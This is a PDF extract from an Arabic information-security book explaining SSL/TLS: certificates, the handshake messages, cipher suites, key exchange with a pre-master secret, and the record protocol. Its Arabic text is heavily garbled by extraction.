‫تعرب‬ ‫ال‬ Decryption ‫تتم‬ ‫التي‬ ‫استالمه‬ ‫عند‬ ‫طرف‬ ‫أي‬ ‫بواسطة‬ ‫ال‬ Certificate ‫اخلاص‬ ‫ة‬ ‫بالطرف‬ A : D (PUauth, CA) = D (PUauth, E (PRauth, [T || IDA || PUa])) = (T || IDA || PUa) ‫بعمل‬ ‫قيقوم‬ Decryption ‫ال‬ ‫باستخدام‬ ‫هلا‬ Public Key ‫بال‬ ‫اخلاص‬ Authurity ‫الشهاد‬ ‫بيانات‬ ‫رؤية‬ ‫من‬ ‫ليتمكن‬ ‫ة‬ ‫وال‬ Public Key ‫اخل‬ ‫بالطرف‬ ‫اص‬ A . ‫ال‬ ‫األطراف‬ ‫تبادل‬ ‫يوضح‬ ‫الشكل‬ Certificates ‫ال‬ ‫نفس‬ ‫من‬ ‫اعتامدذا‬ ‫بعد‬ CA .
  • 391.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [391] Inside Secure Socket Layer (SSL) ‫ال‬ ‫م‬َ‫َخد‬‫ت‬‫س‬ُ‫ي‬ SSL ‫ال‬ ‫أو‬ TLS ‫البيانات‬ ‫تشفري‬ ‫يف‬ ‫ال‬ ‫بني‬ Web Servers ‫وال‬ Browsers ‫اإلنرتنت‬ ‫عرب‬ . ‫بقيامه‬ ‫وذلك‬ ‫عىل‬ ‫الطرقني‬ ‫بني‬ ‫التواقق‬ ‫بإجراء‬ ‫ال‬ ‫أنواع‬ Algorthims ‫ن‬‫وم‬ ،‫وترتيبها‬ ‫اإلتصال‬ ‫تأمني‬ ‫يف‬ ‫مة‬َ‫ستخد‬ُ‫مل‬‫ا‬ ‫البيانات‬ ‫ل‬ُ‫د‬‫َبا‬‫ت‬ ‫م‬َ‫ث‬ .‫بأمان‬ ‫مقدم‬ ‫ماييل‬ ‫ة‬ ‫ِسيع‬ ‫ة‬ ‫موقع‬ ‫من‬ ‫عنه‬ info.ssl.com SSL is the standard security technology for establishing an encrypted link between a web server and a browser. This link ensures that all data passed between the web server and browsers remain private and integral. SSL is an industry standard and is used by millions of websites in the protection of their online transactions with their customers. To be able to create an SSL connection a web server requires an SSL Certificate. When you choose to activate SSL on your web server you will be prompted to complete a number of questions about the identity of your website and your company. Your web server then creates two cryptographic keys - a Private Key and a Public Key. The Public Key does not need to be secret and is placed into a Certificate Signing Request (CSR) - a data file also containing your details. You should then submit the CSR. During the SSL Certificate application process, the Certification Authority will validate your details and issue an SSL Certificate containing your details and allowing you to use SSL. Your web server will match your issued SSL Certificate to your Private Key. Your web server will then be able to establish an encrypted link between the website and your customer's web browser. Typically an SSL Certificate will contain your domain name, your company name, your address, your city, your state and your country. It will also contain the expiration date of the Certificate and details of the Certification Authority responsible for the issuance of the Certificate. When a browser connects to a secure site it will retrieve the site's SSL Certificate and check that it has not expired, it has been issued by a Certification Authority the browser trusts, and that it is being used by the website for which it has been issued. If it fails on any one of these checks the browser will display a warning to the end user letting them know that the site is not secured by SSL.
  • 392.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [392] ‫ال‬ ‫بروتوكول‬ ‫يعمل‬ SSL ‫ال‬ ‫قوق‬ Transport Layer ‫ال‬ َ ‫قوق‬ َ‫أي‬ ، TCP ‫ك‬ ‫يعمل‬ ‫قهو‬ . Socket ‫ال‬ ‫بني‬ Application Layer ‫وال‬ Transport Layer ‫لل‬ ‫اإلتصال‬ ‫بتأمني‬ ‫ويقوم‬ ، Applications ‫ال‬ ‫عىل‬ ‫تعتمد‬ ‫التي‬ TCP ‫لنقل‬ ‫كربوتوكول‬ ‫ال‬ Data :‫التايل‬ ‫بالشكل‬ ‫يظهر‬ ‫كام‬ ‫ال‬ ‫يقوم‬ SSL ‫بخدمة‬ ‫ال‬ Application Layer Protocols ‫كال‬ HTTP ‫ال‬ ‫عىل‬ ‫ويعتمد‬ ، TCP ‫ال‬ ‫نقل‬ ‫عملية‬ ‫يف‬ Messages ‫ال‬ ‫بني‬ Web Servers ‫وال‬ Browsers . ‫ال‬ ‫بتغطية‬ ‫سنبدأ‬ ..‫واآلن‬ SSL ‫بيشء‬ .‫التفصيل‬ ‫من‬ ‫احلقيق‬ ‫يف‬ ‫ة‬ ‫ال‬ ‫يعمل‬ ‫ال‬ ، SSL ‫د‬َ‫ع‬ُ‫ي‬ ‫ال‬ ‫أنه‬ ‫أي‬ ،‫وحيدة‬ ‫طبقة‬ ‫يف‬ Single Protocol ‫يف‬ ‫ل‬َ‫عم‬َ‫ي‬ ‫ولكن‬ !.. ‫ال‬ ‫قوق‬ ‫طبقتني‬ TCP ‫يظهر‬ ‫كام‬ ‫بالشكل‬ ‫الشكل‬ ‫لنا‬ ‫ر‬‫ظه‬ُ‫ي‬ ً‫ا‬‫أيض‬ . ‫بعض‬ ‫ال‬ ،‫الربوتوكول‬ ‫ِبذا‬ ‫اخلاصة‬ ‫تفاصيل‬ “SSL Protocol Stack” .
  • 393.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [393] ‫طبقتني‬ ‫ل‬َ‫غ‬‫ش‬َ‫ي‬ ‫أنه‬ ‫ظ‬‫ُالح‬‫ن‬ ‫كام‬ : (Two Layers) ‫لل‬ ‫م‬ُ‫لحداذ‬ ، SSL Record Protocol ، ‫ال‬ ‫م‬ُ‫ظفه‬َ‫و‬ُ‫ي‬ ‫بروتوكوالت‬ ‫ثالثة‬ ‫ل‬َ‫َشم‬‫ت‬ ‫التي‬ ‫واألطرى‬ SSL ‫لد‬ ‫يف‬ ‫ال‬ ‫عملية‬ ‫ارة‬ Message Exchanges .‫الطرقني‬ ‫بني‬ ‫ال‬ ‫لنشاء‬ ‫يتم‬ Connection :‫مرحلتني‬ ‫عىل‬  ‫ال‬ َ‫وذي‬ ‫األوىل‬ ‫املرحلة‬ Handshake Phase .  ‫الثاني‬ ‫املرحلة‬ ‫ة‬ َ‫وذي‬ Secure Data Transfer Phase . Handshake Phase ‫ال‬ ‫عملية‬ ‫املرحلة‬ ‫ذذه‬ ‫يف‬ ‫تتم‬ Authentication ‫ال‬ ‫بني‬ Client ‫وال‬ Server ‫والتفاوض‬ ، (Negotiate) ‫ال‬ ‫نوع‬ ‫ل‬‫و‬ َ‫ح‬ Cryptographic Algorithms ‫وال‬ Keys ‫م‬َ‫َخد‬‫ت‬‫س‬ُ‫مل‬‫ا‬ ‫ة‬ ‫ال‬ ‫لرسال‬ ‫تأمني‬ ‫يف‬ Data . ‫ال‬ ‫يوضح‬ ‫شكل‬ ‫ماييل‬ Messages ‫ال‬ ‫بني‬ ‫املرحلة‬ ‫ذذه‬ ‫طالل‬ ‫تتم‬ ‫التي‬ Client ‫وال‬ Server . ‫ال‬ ‫د‬َ‫ع‬ُ‫ي‬ Handshake Protocol ‫ال‬ ‫عملية‬ ‫عن‬ ‫املسؤول‬ ‫نا‬ُ‫ذ‬ Authentication ‫و‬ ‫ال‬ Negotiation .‫ذذه‬
  • 394.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [394] ‫بأول‬ ‫نبدأ‬ Message ‫ال‬ َ‫وذي‬ “Client Hello”
  • 395.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [395] ‫ال‬ ‫يقوم‬ Client (Browser) ‫ال‬ ‫ببدء‬ ‫نا‬ُ‫ذ‬ Session ‫ال‬ ‫مع‬ Web Server ‫ال‬ ‫ذذه‬ ‫لرسال‬ ‫طريق‬ ‫عن‬ Msg ‫وحتوي‬ ، :‫اآليت‬ Version The Client sends the version number that it supports. For example, for SSLv3, the version number is 3.0. For TLS, the version number is 3.1. Random ‫من‬ ‫ن‬‫كو‬ُ‫م‬ ‫عشوائي‬ ‫رقم‬ ‫عن‬ ‫عبارة‬ ‫ذو‬ 26 Byte ‫ال‬ ‫من‬ ‫كل‬ ُ‫ه‬‫خيتار‬ Server ‫وال‬ Client ‫ُل‬‫ك‬‫ل‬ Connection ‫ث‬ُ‫حيد‬ .‫بينهم‬ Session ID (if any) This is included if the Client wants to resume a previous session. If the Session ID Length is 0, it indicates a new session. Cipher Suite This is the list of cipher suites that are supported by the Client. ‫ال‬ ‫ذذا‬ ‫لتوضيح‬ ‫ثال‬‫َم‬‫ك‬‫و‬ Cipher Suite َ‫ن‬ َ ‫س‬ ‫ض‬‫عر‬ :‫أحدذم‬ )TLS_RSA_WITH_DES_CBC_SHA( TLS is the protocol version, RSA is the algorithm that will be used for key exchange, DES_CBC is the encryption algorithm, and SHA is the hash function. ‫ال‬ ‫ماذذا‬ ‫ولكن‬ CBC ‫ال‬ ‫مع‬ ‫م‬َ‫َخد‬‫ت‬‫س‬ُ‫مل‬‫ا‬ DES Cryptosystem ‫؟‬.. ‫ال‬ ‫أنواع‬ ‫ال‬ ‫أحد‬ ‫لنه‬ “Modes of Operation” َ‫ت‬‫س‬ُ‫مل‬‫ا‬ َ‫خد‬ َ‫م‬ ‫ة‬ ‫يف‬ ‫ال‬ ‫تشفري‬ Blocks of Data ‫زياد‬ ‫بغرض‬ ‫ة‬ ‫يف‬ ‫التعقيد‬ ‫ال‬ ‫بني‬ ‫العالقة‬ Plaintext ‫وال‬ Ciphertext . ‫ل‬ ‫مثال‬ ‫ماييل‬ “Client Hello” ‫بال‬ ‫التقاطها‬ ّ‫َم‬‫ت‬ WireShark .
  • 396.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [396] ‫طالل‬ ‫من‬ ‫نستنتج‬ ‫املطروح‬ ‫البدائل‬ ‫ة‬ ‫ال‬ ‫حتت‬ cipher suites ‫ال‬ ‫ذذا‬ ‫أن‬ browser ‫يدعم‬ ‫ال‬ ‫طاصية‬ PFS ‫و‬ :‫تعني‬ (Perfect Forward Secrecy) ‫ذم‬ ‫لنوعني‬ ‫أولوية‬ ‫لعطاء‬ ‫بسبب‬ ‫وذلك‬ (DHE and Elliptical DH) .. ‫سنتحدث‬ ‫اخلاصية‬ ‫ذذه‬ ‫عن‬ ..‫قليل‬ ‫بعد‬
  • 397.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [397] ‫الشكل‬ ‫يف‬ ‫الحظ‬ ‫السابق‬ ‫م‬َ‫ستخد‬ُ‫مل‬‫ا‬ ‫الربوتوكول‬ ، ‫و‬ ‫ال‬ ‫ذو‬ Handshake ‫وال‬ ، Handshake Type ‫ال‬ َ‫وذي‬ Client Hello ‫ال‬ ً‫ا‬‫أيض‬ ، Version ‫وال‬ Random ‫ال‬ ‫م‬ُ‫ث‬ ، Session ID ُ‫ه‬‫وقيمت‬ " ‫صفر‬ " ‫أهنا‬ ‫يعني‬ ُ ‫حيث‬ Session ‫جديد‬ ‫ة‬ .! ‫أذم‬ ‫لنا‬ ‫يأيت‬ ً‫ا‬‫وأطري‬ Parameter ‫ال‬ ‫ضها‬‫عر‬َ‫ي‬ ‫التي‬ ‫البدائل‬ ‫أو‬ ‫اإلحتامالت‬ ‫وذو‬ ‫الرسالة‬ ‫ذذه‬ ‫يف‬ Browser ‫ال‬ ‫عىل‬ Web Server ‫ال‬ ‫يقوم‬ ‫كي‬ Server ‫ال‬ ‫ذذه‬ ‫من‬ ‫واحدة‬ ‫باطتيار‬ Cipher Suites ‫ال‬ ‫ولبالغ‬ Browser ‫التي‬ ‫الرسالة‬ ‫يف‬ ‫ِبا‬ َ‫وذي‬ ،‫تليها‬ ‫ال‬ “Server Hello” . ‫ماييل‬ Message ‫نوع‬ ‫من‬ Hello ‫ال‬ ‫طرف‬ ‫من‬ ‫قادمة‬ Server ‫بال‬ ‫التقاطها‬ ‫تم‬ WireShark : ‫ال‬ ‫أن‬ ‫األطري‬ ‫قبل‬ ‫السطر‬ ‫يف‬ ‫ظ‬‫ُالح‬‫ن‬ Web Server ‫البدائ‬ ‫أحد‬ ‫باطتيار‬ ‫قام‬ ‫ل‬ ‫من‬ ‫ونستنتج‬ ، ‫ذذا‬ ‫اطتياره‬ :‫ماييل‬ The long-term keys are used both for the server’s authentication and for the session key generation by means of RSA key exchange mechanism.
  • 398.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [398] ‫ال‬ ‫أن‬ ‫يعني‬ ‫وذذا‬ server ‫مل‬ ‫تدعم‬ ‫التي‬ ‫البدائل‬ ‫أحد‬ ‫ليختار‬ ‫لديه‬ ‫اإلعدادات‬ ‫ضبط‬ ‫يتم‬ ‫ال‬ ‫طاصية‬ PFS ، ‫ال‬ ‫ذذا‬ ‫تذكر‬ cipher suite ‫ال‬ ‫اطتاره‬ ‫الذي‬ server ‫ال‬ ‫ققرة‬ ‫يف‬ ‫عنه‬ ‫سنتحدث‬ ‫ألننا‬ PFS . ‫ال‬ ‫يف‬ ‫ططوة‬ ‫أول‬ ‫تنتهي‬ ‫وِبذا‬ Handshake Phase ‫ال‬ َ‫وذي‬ Hello Message . ‫ذذا‬ ‫ال‬ :‫اخلطوة‬ ‫ذذه‬ ‫لنا‬ ‫ص‬ِّ‫لخ‬ُ‫ي‬ ‫شكل‬ ‫ال‬ ‫ذذا‬ ‫يف‬ ‫الثانية‬ ‫اخلطوة‬ ‫لىل‬ ‫سننتقل‬ Phase ‫ال‬ َ‫وذي‬ “Authentication and Key Exchange” ‫اخلطو‬ ‫ذذه‬ ‫تبدأ‬ ‫ة‬ ‫ال‬ ‫يقوم‬ ‫بأن‬ Web Server ‫ال‬ ‫بإرسال‬ Certificate ‫اخلاص‬ ‫ة‬ ‫ال‬ ‫لىل‬ ‫به‬ Browser ‫ال‬ ‫وحتوي‬ ، Public Key ‫بال‬ ‫اخلاص‬ Server . ‫ال‬ ‫ذذا‬ Server’s Public Key ‫ال‬ ُ‫ه‬‫سيستخدم‬ Browser ‫الثالث‬ ‫اخلطوة‬ ‫يف‬ ‫قليل‬ ‫بعد‬ ‫ة‬ ‫إلرسال‬ Key ‫يقوم‬ ‫جديد‬ ‫ى‬ّ‫سم‬ُ‫ي‬ ‫بإنشاؤه‬ " Pre_Master_Secret Key " ‫ال‬ ‫لىل‬ Server . ‫ال‬ ‫لرسال‬ ‫يتم‬ Pre_Master_Secret_Key ً‫ا‬‫ر‬‫شف‬ُ‫م‬ ‫بال‬ Server’s Public Key .. ‫الرسال‬ ‫ذذه‬ ‫ة‬ ‫بعنوان‬ ‫تكون‬ “Client_Key_Exchange” ‫اخلطو‬ ‫يف‬ ً‫ا‬‫مع‬ ‫ُشاذدذا‬‫ن‬‫س‬ ‫ة‬ ‫الثالث‬ ‫ة‬ (Step 3) ‫لن‬ .‫شاءاهلل‬
  • 399.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [399] ‫ال‬ ‫قيقوم‬ Server ‫ال‬ ‫بتطبيق‬ Server’s Private Key ‫الرسال‬ ‫عىل‬ ‫ة‬ ‫ل‬َ‫م‬َ‫ع‬‫و‬ recover ‫لل‬ Pre_Master_Secret Key . ‫ال‬ ‫ذذا‬ ‫وما‬ " Pre_Master_Secret_Key ‫؟‬.." ،‫لسمه‬ ‫من‬ ً‫ا‬‫واضح‬ ‫يبدو‬ “Pre_Master” ‫أنه‬ Key َ‫ل‬َ‫د‬‫عا‬ُ‫م‬ ‫يف‬ ‫م‬ُ‫الذ‬‫ك‬ ُ‫ه‬‫م‬‫ستخد‬َ‫ي‬ َ ‫س‬ ‫مؤقت‬ ‫ة‬ ‫ل‬َ‫م‬َ‫ع‬‫ل‬ generate ‫ل‬ Key ،‫ر‬ َ ‫آط‬ ‫ال‬ ‫ذو‬ Session key ، ..ً‫ا‬‫الحق‬ ‫لليهم‬ ‫سنتعرض‬ ‫ال‬ ‫ذذا‬ ‫يف‬ ‫الثانية‬ ‫اخلطوة‬ ‫يوضح‬ ‫شكل‬ ‫ماييل‬ Phase . ‫ال‬ ‫لرسال‬ ‫ظ‬‫ُالح‬‫ن‬ Server ‫لل‬ Certificate ‫أ‬ ‫يف‬ ‫ول‬ Message ‫بعنوان‬ ‫التي‬ ‫الثانية‬ ‫الرسالة‬ ً‫ا‬‫أيض‬ . “Server_Key_Exchange” ‫ها‬‫ب‬‫جان‬‫ب‬ ‫مكتوب‬ (Optional) !..
  • 400.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [400] ‫ملاذا؟‬ ‫أل‬ ‫ال‬ ‫ن‬ Server ‫نا‬ُ‫ذ‬ ‫باطتيار‬ ‫قام‬ key exchange RSA ، ‫بحاجه‬ ‫يكون‬ ‫لن‬ ‫بالتايل‬ ‫هل‬ ،‫ا‬ ‫ال‬ ‫نهي‬ُ‫ي‬ ‫م‬ُ‫ث‬ Server ‫الثاني‬ ‫طوة‬ُ‫خل‬‫ا‬ ‫ة‬ ‫برسالة‬ “Server_Hello_Done” ‫ر‬‫ط‬ ُ ‫وخي‬ ‫ال‬ ‫ِبا‬ Client ‫اخلطو‬ ‫ذذه‬ ‫أهنى‬ ‫أنه‬ ‫ة‬ ‫ال‬ ‫طرف‬ ‫من‬ ‫الرد‬ ‫وينتظر‬ ، Client . ‫ماييل‬ Session ‫ال‬ ‫أرسلها‬ ‫رسالة‬ ‫ألول‬ Server ‫ال‬ ‫حتوي‬ ‫التي‬ Certificate . ‫ال‬ ‫حتوي‬ ‫أهنا‬ ‫ظ‬‫الح‬ Public Key ‫بال‬ ‫اخلاص‬ Server ،)‫باألسفل‬ ‫حتديده‬ ‫(تم‬ ‫ال‬ ‫يف‬ ‫الثانية‬ ‫اخلطوة‬ ‫تنتهي‬ ‫نا‬ُ‫ذ‬ ‫لىل‬ Handshake Phase . ‫الثالث‬ ‫طوة‬ُ‫خل‬‫ا‬ ‫تبدأ‬ ‫م‬ُ‫ث‬ ‫ة‬ (Step 3)
  • 401.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [401] ‫ال‬ ‫بني‬ ‫التواقق‬ ‫ث‬ُ‫د‬ َ ‫حي‬ ‫وقيها‬ Client ‫وال‬ Server ‫عىل‬ “Shared Key” ‫وذو‬ ‫بينهم‬ ‫قيام‬ “Pre_Master_Secret_Key” ‫ذكرناه‬ ‫الذي‬ ‫قبل‬ ‫من‬ . ‫ال‬ ‫عىل‬ ‫الضوء‬ ‫بتسليط‬ ‫سنقوم‬ Messages ‫هم‬ُ‫مل‬‫ا‬ ‫ة‬ . ‫الشكل‬ ‫يف‬ ‫يظهر‬ ‫الثاني‬ ‫الرسالة‬ ‫ة‬ ‫بعنوان‬ ‫التي‬ “Client_Key_Exchange” .. ‫ال‬ ‫اطتيار‬ ‫تم‬ ‫أنه‬ ‫وبام‬ RSA ..‫قبل‬ ‫من‬
  • 402.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [402] ‫ق‬ ‫هذه‬ ‫الرسال‬ ‫ة‬ ‫س‬ ‫ال‬ ‫عىل‬ ‫تحتوي‬ “Pre_Master_Secret Key” ، ‫ال‬ ‫يقوم‬ ُ ‫حيث‬ client ‫بعمل‬ generate ‫له‬ ‫وتشفريه‬ ، ‫ال‬ ‫باستخدام‬ Server’s public key ، ‫ال‬ ‫لىل‬ ُ‫ه‬‫ل‬‫رس‬ُ‫ي‬ ‫ثم‬ Server . ‫ال‬ ‫ذذا‬ Key ‫ال‬ ‫ن‬‫م‬ ‫ُل‬‫ك‬ ُ‫ه‬‫م‬‫ستخد‬َ‫ي‬ َ ‫س‬ Server ‫وال‬ Client ‫لنتاج‬ ‫يف‬ Key :‫اسمه‬ ‫آطر‬ “Master_Secret_Key” ، ‫عن‬ ‫عبارة‬ ‫وذو‬ 48-byte value) (One-time َ‫ل‬‫عاد‬ُ‫بم‬ ُ‫ه‬‫لنتاج‬ ‫يتم‬ ، ‫ة‬ ‫ال‬ ‫ِبا‬ ‫ل‬ ُ ‫يدط‬ “Pre_Master_Secret Key” ‫وال‬ “Client and Server Random values” . ‫ال‬ ‫ذذه‬ Randoms ‫التي‬ َ‫ذي‬ ‫قد‬ ‫ال‬ ‫أثناء‬ ‫هلا‬ُ‫د‬‫تبا‬ ‫َم‬‫ت‬ “Hello_Messages” ‫األوىل‬ ‫اخلطوة‬ ‫يف‬ ، ‫و‬ ‫يتم‬ ‫ال‬ ‫بتطبيق‬ ‫ذلك‬ Cryptographic Hash Algorithms .‫دطالت‬ُ‫مل‬‫ا‬ ‫ذذه‬ ‫عىل‬ ‫ال‬ ‫دطول‬ ‫قائدة‬ ‫ما‬ ‫ولكن‬ " Client and Server Random values " ‫العملي‬ ‫ذذه‬ ‫يف‬ ‫ة‬ ‫؟‬ ‫ال‬ ‫ذذه‬ Random ‫ثابة‬َ‫م‬‫ب‬ ‫د‬َ‫ع‬ُ‫ت‬ ‫ال‬ “Salt” ‫يف‬ ‫العالق‬ ‫تكون‬ ‫لكي‬ ،‫عادلة‬ُ‫مل‬‫ا‬ ‫ذذه‬ ‫ة‬ ‫و‬ ‫دطالت‬ُ‫مل‬‫ا‬ ‫بني‬ ُ‫مل‬‫ا‬ ‫غري‬ ‫عالقة‬ ‫خرجات‬ ..‫بارشه‬ُ‫م‬ ‫عن‬ ‫حتدثنا‬ ‫ال‬ ‫قائدة‬ Salt ‫الت‬ ‫عملية‬ ‫يف‬ ‫شفري‬ ‫تتذكرذا؟‬ ‫ذل‬ ،!‫قبل‬ ‫من‬ .. ‫الرسال‬ ‫تفاصيل‬ ‫يوضح‬ ‫التايل‬ ‫الشكل‬ ‫ة‬ ‫ال‬ ‫قام‬ ‫التي‬ Client ‫ال‬ ‫لىل‬ ‫بإرساهلا‬ Server .
  • 403.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [403] ‫ال‬ ‫يقوم‬ Client ‫ذلك‬ ‫بعد‬ ‫بإرسال‬ “Change_Cipher_Spec” ، ‫وتعني‬ ‫ال‬ ‫غ‬‫ل‬‫ب‬ُ‫ي‬ ‫أنه‬ Server ‫بأن‬ ‫ال‬ Messages ‫التي‬ ‫ال‬ ‫باستخدام‬ ‫ره‬‫شف‬ُ‫م‬ ‫ستكون‬ ‫سالة‬‫الر‬ ‫ذذه‬ ‫ب‬ُ‫ق‬‫ستع‬ session Key ‫منهم‬ ‫كل‬ ‫لدى‬ ‫تكوينه‬ ‫تم‬ ‫الذي‬ . ‫ال‬ ‫ذذا‬ ..!‫حلظة‬ ‫ولكن‬ (Change Cipher Spec) !‫بل‬َ‫ق‬ ‫ن‬‫م‬ ُ‫ه‬‫رأينا‬ ‫ال‬ ‫يوظفهم‬ َ‫كان‬ ‫الذي‬ ‫وتوكوالت‬ ُ ‫الرب‬ ‫أحد‬ ُ‫ه‬‫لن‬ SSL .‫اإلتصال‬ ‫عملية‬ ‫لدارة‬ ‫يف‬ Change Cipher Spec Protocol ‫ال‬ ‫يف‬ ‫يعمل‬ ‫الربوتوكول‬ ‫ذذا‬ Application Layer ‫ال‬ ‫نقل‬ َ‫وذي‬ ‫وحيدة‬ ‫بوظيفة‬ ‫ويقوم‬ ،‫نعلم‬ ‫كام‬ State ‫احلالي‬ ‫ة‬ ‫ال‬ ‫بني‬ Client ‫وال‬ Server ‫ال‬ ‫من‬ Pending ‫ال‬ ‫لىل‬ Current State . ‫ال‬ ‫ماذذا‬ Pending ‫وال‬ Current ‫؟‬.. ‫ال‬ ‫مرحلة‬ ‫طوال‬ ‫أنه‬ ‫الواضح‬ ‫من‬ Handshake Phase ‫ا‬ ‫تكون‬ ‫ل‬ State ‫بال‬ ‫اخلاصة‬ Connection ‫غري‬ ‫الطرقني‬ ‫بني‬ ‫ستقر‬ُ‫م‬ ‫ة‬ ‫ال‬ ‫وتكوين‬ ‫بينهم‬ ‫اإلتفاق‬ ‫حدوث‬ ‫د‬‫جر‬ُ‫م‬‫وب‬ ، Master Secret Key ‫احلالة‬ ‫بتغيري‬ ‫الربوتوكول‬ ‫ذذا‬ ‫يقوم‬ ، ‫بعمل‬ ‫يقوم‬ ‫ببساطة‬ ..‫بينهم‬ update ‫لل‬ Cipher Suite ‫ال‬ ‫ذا‬‫هل‬ ‫استخدامه‬ ‫يتم‬ ‫كي‬ Connection ً‫ة‬‫ونتيج‬ .‫ث‬‫احلاد‬ ..‫لذلك‬ ‫الرسالة‬ ‫ل‬ُ‫د‬‫َبا‬‫ت‬‫ب‬ ‫بعدذا‬ ‫الطرقني‬ ‫يبدأ‬ “Change_Cipher_Spec” . ‫ال‬ ‫بواسطة‬ ‫لرساهلا‬ ‫يتم‬ ‫ال‬ ‫الرسالة‬ ‫ذذه‬ ‫أن‬ ‫يعني‬ ‫ذذا‬ Handshake Protocol .‫اآلطر‬ ‫بالربوتوكول‬ ‫لرساهلا‬ ‫يتم‬ ‫بل‬ ، ‫ال‬ ‫يقوم‬ ‫وبعدذا‬ Client ‫رسالة‬ ‫بإرسال‬ ً‫ا‬‫قور‬ “Client_finished” ‫ق‬‫ب‬َ‫ط‬ُ‫م‬ ‫ال‬ ‫عليها‬ Algorithms ‫وال‬ Keys ،‫اجلديدة‬
  • 404.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [404] ‫ال‬ ‫قيقوم‬ Server ‫بإرسال‬ ‫عليه‬ ‫بالرد‬ “Change_Cipher_Spec” ‫برسالة‬ ‫متبوعة‬ ..ً‫ا‬‫أيض‬ “Server_Finished” ‫ك‬ :‫ييل‬ ‫ام‬ ‫ال‬ ‫رسالة‬ ‫انتهاء‬ ‫بعد‬ ‫الشكل‬ ‫يف‬ ‫يظهر‬ Finished ‫ال‬ ‫ل‬ُ‫د‬‫َبا‬‫ت‬ ‫بداية‬ (Application Layer Data) .‫ي‬ ّ ‫وِس‬ ‫ن‬‫آم‬ ‫كل‬ َ ‫ش‬‫ب‬ ‫ال‬ ‫ماذذا‬ ‫ولكن‬ “Record Protocol” ‫باألعىل؟‬ ‫الشكل‬ ‫يف‬ ‫يظهر‬ ‫الذي‬ ‫ال‬ ‫نقل‬ ‫عن‬ ‫املسؤول‬ ‫الربوتوكول‬ ُ‫ه‬‫أن‬ ‫واضح‬ Application Data ‫ال‬ ‫بني‬ Server ‫وال‬ Client . ‫يعمل‬ ‫الربوتوكول‬ ‫ذذا‬ ‫ال‬ ‫قوق‬ TCP :‫الربوتوكول‬ ‫ذذا‬ ‫عمل‬ ‫آلية‬ ‫ح‬ ِّ ‫يوض‬ ‫شكل‬ ‫ماييل‬ ..ً‫ة‬‫بارش‬ُ‫م‬
  • 405.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [405] ‫ال‬ ‫الربوتوكول‬ ‫ذذا‬ ‫يستلم‬ ،‫الشكل‬ ‫عىل‬ ً‫ء‬‫بنا‬ Data ‫ال‬ ‫من‬ Application Layer ‫بعمل‬ ‫ويقوم‬ Fragment ‫م‬ُ‫ث‬ ‫ا‬ َ‫هل‬ ‫ال‬ ‫ولضاقة‬ ،‫ضغطها‬ Message Authentication Code ‫بال‬ ‫تشفريذا‬ ‫م‬ُ‫ث‬ ،‫عليها‬ Key_Block ‫ال‬ ‫لضاقة‬ ً‫ا‬‫أطري‬ ‫م‬ُ‫ث‬ Header ‫ال‬ ‫عىل‬ ‫ه‬‫ب‬ ‫اخلاص‬ Packet ‫ال‬ ‫لىل‬ ‫وتسليمها‬ TCP ‫نقلها‬ ‫لية‬َ‫م‬َ‫ع‬ ‫َبدأ‬‫ت‬‫ل‬ .‫اآلطر‬ ‫الطرف‬ ‫لىل‬ ‫ال‬ ‫ريك‬ُ‫أ‬ ‫دعني‬ SSL Protocol Architecture .‫له‬َ‫م‬َ‫ع‬ ‫آلية‬ َ ‫مت‬‫ه‬َ‫ق‬ ‫أن‬ ‫بعد‬ ‫أطرى‬ ً‫ة‬‫مر‬
  • 406.
